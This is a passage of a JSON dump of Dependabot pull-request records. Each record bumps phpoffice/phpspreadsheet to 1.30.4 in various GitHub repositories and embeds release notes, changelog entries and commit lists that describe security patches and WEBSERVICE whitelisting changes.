href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.4/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/02970383cc12e7bf0bc0707ea6e2e8ed23a7aec9\"\u003e\u003ccode\u003e0297038\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d28d4827f934469e7ca4de940ab0abd0788d1e65\"\u003e\u003ccode\u003ed28d482\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/87a0eb5442987300d0a84fb9f0ce197efcf25bb9\"\u003e\u003ccode\u003e87a0eb5\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images r129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4854\"\u003e#4854\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b6c44a4ce907c4a861db040999eb58fb59570c14\"\u003e\u003ccode\u003eb6c44a4\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/791986826cabb4c86f2dca9f8cdef3f5ec1a6aee\"\u003e\u003ccode\u003e7919868\u003c/code\u003e\u003c/a\u003e Update License 1.30.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.30.1...1.30.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.30.1\u0026new-version=1.30.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/ibauk/sm3/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/ibauk/sm3/pull/39","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ibauk%2Fsm3/issues/39","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/39/packages"},{"uuid":"4346890033","node_id":"PR_kwDOP37mz87Whkha","number":16,"state":"open","title":"Bump phpoffice/phpspreadsheet from 1.30.0 to 1.30.4","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T23:27:39.000Z","updated_at":"2026-04-28T23:27:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.30.0","new_version":"1.30.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.30.0 to 1.30.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.4/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/02970383cc12e7bf0bc0707ea6e2e8ed23a7aec9\"\u003e\u003ccode\u003e0297038\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d28d4827f934469e7ca4de940ab0abd0788d1e65\"\u003e\u003ccode\u003ed28d482\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/87a0eb5442987300d0a84fb9f0ce197efcf25bb9\"\u003e\u003ccode\u003e87a0eb5\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images r129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4854\"\u003e#4854\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b6c44a4ce907c4a861db040999eb58fb59570c14\"\u003e\u003ccode\u003eb6c44a4\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/791986826cabb4c86f2dca9f8cdef3f5ec1a6aee\"\u003e\u003ccode\u003e7919868\u003c/code\u003e\u003c/a\u003e Update License 1.30.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.30.0...1.30.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.30.0\u0026new-version=1.30.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/alialobidm/i-educar/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/alialobidm/i-educar/pull/16","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/alialobidm%2Fi-educar/issues/16","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/16/packages"},{"uuid":"4346889155","node_id":"PR_kwDOCJDEK87WhkVz","number":262,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.30.0 to 1.30.4 in /wordpress/wp-content/themes/les-verts","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-08T23:36:25.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-28T23:27:22.000Z","updated_at":"2026-06-08T23:36:27.000Z","time_to_close":3542943,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.30.0","new_version":"1.30.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":"/wordpress/wp-content/themes/les-verts","ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.30.0 to 1.30.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.4/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/02970383cc12e7bf0bc0707ea6e2e8ed23a7aec9\"\u003e\u003ccode\u003e0297038\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d28d4827f934469e7ca4de940ab0abd0788d1e65\"\u003e\u003ccode\u003ed28d482\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/87a0eb5442987300d0a84fb9f0ce197efcf25bb9\"\u003e\u003ccode\u003e87a0eb5\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images r129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4854\"\u003e#4854\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b6c44a4ce907c4a861db040999eb58fb59570c14\"\u003e\u003ccode\u003eb6c44a4\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/791986826cabb4c86f2dca9f8cdef3f5ec1a6aee\"\u003e\u003ccode\u003e7919868\u003c/code\u003e\u003c/a\u003e Update License 1.30.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.30.0...1.30.4\"\u003ecompare 